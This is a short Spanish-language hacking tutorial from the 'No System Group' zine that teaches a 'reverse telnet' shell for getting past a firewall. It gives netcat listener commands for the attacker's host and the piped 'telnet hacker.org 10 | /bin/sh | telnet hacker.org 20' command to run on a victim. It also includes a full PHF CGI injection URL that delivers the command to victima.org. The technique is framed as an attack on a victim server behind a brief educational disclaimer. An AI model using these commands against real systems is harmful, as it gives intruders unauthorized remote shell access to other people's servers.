TELNET INVERSO by CoKi
~~~~~~~~~~~~~~~~~~~~~~
- Disclaimer
~~~~~~~~~~
La información incluída en este documento es expuesta en base a un interés educativo.
No me hago responsable del uso de dicha información.
El siguiente documento es propiedad de 'No System Group' y de su autor, pudiendo ser
distribuído de forma totalmente libre siempre y cuando se respete el formato original y
se cite a su fuente.
- Procedimiento
~~~~~~~~~~~~~
Bueno, esta técnica es utilizada en caso que tengamos la posibilidad de ejecutar código
arbitrario en el servidor víctima, y que por haber algun firewall de por medio, no
podamos abrir un shell en un puerto cualquiera, entonces lo que hacemos es shellearnos
a un puerto permitido, por ej. el 80.
Como bien sabemos, en UNIX se pueden usar metacaracteres para jugar con los stdout de
los comandos; por ejemplo cuando ejecutamos 'ls -l | grep html'
nos mostrara solo la salida del 'ls' que contenga ficheros en los que aparezca la frase
'html'.
Para llevar a cabo esta técnica vamos a utilizar una herramienta muy conocida y poderosa, el
'netcat', para poder activar puerto a la escucha en nuestro sistema.
Cómo usamos esto para obtener una shell??...de una manera muy simple, primero necesitamos
tener a la escucha dos puertos cualquiera en nuestro sistema, por ej.
En un terminal ejecutamos:
root@hacker.org:~# nc -v -l -p 10
listening on [any] 10 ...
Nos vamos a otro terminal:
root@hacker.org:~# nc -v -l -p 20
listening on [any] 20 ...
Bien, ahora nos vamos a nuestra víctima y ejecutamos el siguiente comando:
'telnet hacker.org 10 | /bin/sh | telnet hacker.org 20', esto puede hacerse a travez del
puerto 80, por ej, utilizando la vulnerabilidad del PHF, la cual es muy vieja y no creo que
encuentren alguien con este error, pero solo la cito en forma de ejemplo:
root@hacker.org:~# lynx http://victima.org/cgi-bin/phf?Qalias=%0telnet%20hacker.org%2010%20|%20/bin/sh%20|%20telnet%20hacker.org%2020
Veamos como funciona, por ejemplo nos vamos al teminal donde esta el netcat conectado
victima.org en el puerto 10 y escribimos 'ls', el comando va a ser ejecutado por /bin/sh
de victima.org y mandada su salida por el telnet a hacker.org al puerto 20, donde veremos
su resultado en nuestro terminal. Es un poco incómodo, pero shell al fin...
Cualquier duda o comentario sobre este 'texto' escibanme a coki@interlap.com.ar
Muchas Gracias
CoKi
No System Group
http://www.nosystem.com.ar
Registered Linux User: #302168